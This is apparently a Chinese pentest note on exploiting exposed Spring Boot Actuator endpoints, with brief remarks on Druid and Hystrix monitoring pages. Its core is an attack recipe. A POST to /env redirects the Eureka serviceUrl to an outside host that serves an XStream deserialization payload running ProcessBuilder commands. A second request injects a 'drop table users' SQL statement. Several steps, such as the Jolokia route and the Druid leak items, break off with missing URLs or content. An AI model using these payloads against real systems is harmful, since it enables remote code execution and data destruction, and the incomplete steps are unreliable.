一.Spring Boot Actuators
Spring Boot Actuator是Spring Boot提供的對應用系統的監控和管理的集成功能,可以查看應用配置的詳細信息,例如自動化配置信息、創建的Spring beans信息、系統環境變量的配置信以及Web請求的詳細信息等。如果使用不當或者一些不經意的疏忽,可能造成信息泄露等嚴重的安全隱患。
當Spring Boot應用程序運行時,它會自動將多個端點例如/health,/trace,/beans,/env等注冊到路由過程中。對於Spring Boot 1-1.4,無需身份驗證即可訪問它們,從而導致嚴重的安全性問題。從Spring 1.5版開始,默認情況下,除/health和/info之外的所有端點都被視為敏感和不安全的,但是應用程序開發人員經常禁用此安全性。
以下Actuator端點可能會帶來安全隱患,從而導致可能的漏洞:
路徑 | 描述 |
---|---|
/autoconfig | 提供了一份自動配置報告,記錄哪些自動配置條件通過了,哪些沒通過 |
/beans | 描述應用程序上下文里全部的Bean,以及它們的關系 |
/env | 獲取全部環境屬性 |
/configprops | 描述配置屬性(包含默認值)如何注入Bean |
/dump | 獲取線程活動的快照 |
/logfile | 輸出日志文件的內容 |
/restart | 重新啟動應用程序 |
/mappings | 描述全部的URI路徑,以及它們和控制器(包含Actuator端點)的映射關系 |
/metrics | 報告各種應用程序度量信息,比如內存用量和HTTP請求計數 |
/shutdown | 關閉應用程序,要求endpoints.shutdown.enabled設置為true |
/trace | 提供基本的HTTP請求跟蹤信息(時間戳、HTTP頭等) |
對於Spring 1x,它們在根目錄下注冊,而在2x中,它們移至/actuator/路徑。
一些可能獲取shell的方法
1.通過/jolokia執行遠程代碼
Jolokia庫使用用戶提供的輸入來啟動LDAP/RMI連接,在jolokia/list目錄搜索logback組件
logback組件提供的reloadByURL 操作使我們可以從外部URL重新加載日志配置,只需要訪問
因為日志配置為xml格式,當logback啟用外部實體時,會對其進行解析,可以實現盲XXE。
logback配置具有從JNDI獲取變量的功能,在XML文件中,我們可以包含一個標簽,例如
2.通過/env修改配置
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://vps.com/n/xstream
先執行上面請求將Eureka serviceURL修改為任意值,然后請求/refresh。如果Eureka-Client <1.8.7則可以利用XStream反序列化漏洞,服務器上xstream的內容為:
<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>whoami</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>
其他有用的設置
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
spring.datasource.tomcat.validationQuery=drop+table+users
此請求可以執行任意SQL語句
有一個要注意的地方在Spring Boot 2x中通過/env的請求方式為json格式
/swagger-ui.html接口泄露
可測試有誤未授權接口,接口有無注入。
二.Druid
druid是國內及公司內部最常用的數據庫連接池配置管理工具;其內置監控頁面,用於攔截sql及實時監控連接池/sql信息,該頁面在原生的druid包中默認為禁用,但其用於適配springboot的druid-spring-boot-starter包,默認打開該監控頁面(http://ip:port/druid/index.html) ,打開后存在如下風險:
泄漏DB域名、使用用戶及庫名:
泄漏SQL信息:
泄露session:
三.hystrix監控
Hystrix除了實現容錯之外,還提供了近乎實時的監控。Hystrix Command和HystrixObservableCommand在執行時,會會生成執行結果和運行指標,比如每秒的請求數和成功數等,這些監控數據對於分析系統請求的調用情況很有用。